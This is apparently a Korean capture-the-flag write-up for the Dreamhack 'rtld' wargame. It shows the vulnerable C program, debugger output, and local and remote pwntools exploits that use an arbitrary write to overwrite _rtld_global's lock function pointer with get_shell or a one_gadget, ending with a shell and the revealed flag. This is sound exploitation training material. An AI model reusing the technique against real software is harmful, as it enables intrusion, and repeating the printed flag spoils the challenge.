// gcc -o rtld rtld.c -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <dlfcn.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
int main()
{
long addr;
long value;
initialize();
printf("stdout: %p\n", stdout);
printf("addr: ");
scanf("%ld", &addr);
printf("value: ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
❯ checksec rtld
[*] '/root/wargame/rtld'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
⇾ 임의 주소 쓰기 취약점을 이용해서 dl_rtld_lock_recursive를 get_shell()로 덮어 쉘을 따면 될거 같습니다.
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000557c43200000 0x0000557c43201000 0x0000000000000000 r-x /root/wargame/rtld
0x0000557c43401000 0x0000557c43402000 0x0000000000001000 r-- /root/wargame/rtld
0x0000557c43402000 0x0000557c43403000 0x0000000000002000 rw- /root/wargame/rtld
0x00007f3778981000 0x00007f3778b41000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f3778b41000 0x00007f3778d41000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f3778d41000 0x00007f3778d45000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f3778d45000 0x00007f3778d47000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f3778d47000 0x00007f3778d4b000 0x0000000000000000 rw-
0x00007f3778d4b000 0x00007f3778d71000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f3778f65000 0x00007f3778f68000 0x0000000000000000 rw-
0x00007f3778f70000 0x00007f3778f71000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f3778f71000 0x00007f3778f72000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f3778f72000 0x00007f3778f73000 0x0000000000000000 rw-
0x00007ffcf438c000 0x00007ffcf43ad000 0x0000000000000000 rw- [stack]
0x00007ffcf43c4000 0x00007ffcf43c8000 0x0000000000000000 r-- [vvar]
0x00007ffcf43c8000 0x00007ffcf43ca000 0x0000000000000000 r-x [vdso]
gef➤ $ 0x00007f3778d4b000-0x00007f3778981000
3973120
0x3ca000
gef➤ p &_rtld_global._dl_load_lock
$1 = (__rtld_lock_recursive_t *) 0x7f3778f71948 <_rtld_global+2312>
gef➤ p &_rtld_global._dl_rtld_lock_recursive
$2 = (void (**)(void *)) 0x7f3778f71f48 <_rtld_global+3848>
# local.py
from pwn import *
p = process("./rtld")
e = ELF("./rtld", checksec=False)
libc = ELF("libc.so.6")
ld = ELF("/lib/x86_64-linux-gnu/ld-2.23.so")
pie_base = p.libs()["/root/wargame/rtld"]
#context.log_level = 'debug'
p.recvuntil("stdout: ")
stdout = int(p.recvuntil("\n"), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3ca000
rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3848
get_shell = e.symbols["get_shell"] + pie_base
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("value: ", str(get_shell))
p.interactive()
❯ python3 local.py
[+] Starting local process './rtld': pid 2400
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/wargame/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/lib/x86_64-linux-gnu/ld-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
$ ls
libc.so.6 local.py remote.py rtld rtld.c
로컬에서 익스플로잇 코드를 실행시켜보니 쉘이 뜹니다.
이제 원격 환경에서 익스플로잇 코드를 실행시켜보면
❯ python3 exploit.py
[+] Opening connection to host3.dreamhack.games on port 11820: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/wargame/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/lib/x86_64-linux-gnu/ld-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Traceback (most recent call last):
File "exploit.py", line 8, in <module>
pie_base = p.libs()["/home/rtld/rtld"]
AttributeError: 'remote' object has no attribute 'libs'
[*] Closed connection to host3.dreamhack.games port 11820
remote 객체에 libs 라는 속성이 없다고 나옵니다.
원격 환경에서는 pie_base를 leak 해주는 함수를 사용할 수 없을거 같습니다.
다른 방법으로 one_gadget을 이용한 익스플로잇 코드를 짜보면
# remote.py
from pwn import *
p = remote("host3.dreamhack.games", 11820)
e = ELF("./rtld", checksec=False)
libc = ELF("libc.so.6")
ld = ELF("/lib/x86_64-linux-gnu/ld-2.23.so")
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
#context.log_level = 'debug'
p.recvuntil("stdout: ")
stdout = int(p.recvuntil("\n"), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3ca000
rtld_global = ld_base + ld.symbols['_rtld_global']
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3848
one = libc_base + one_gadget[3]
p.sendlineafter("addr: ", str(dl_rtld_lock_recursive))
p.sendlineafter("value: ", str(one))
p.interactive()
익스플로잇 코드를 실행시켜보면
❯ python3 remote.py
[+] Opening connection to host3.dreamhack.games on port 11820: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/wargame/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/lib/x86_64-linux-gnu/ld-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
$
다행히 쉘이 뜹니다.
flag를 출력해보면
$ ls
flag
rtld
$ cat flag
DH{0f48186a16d315abba4d77ccdf507da4}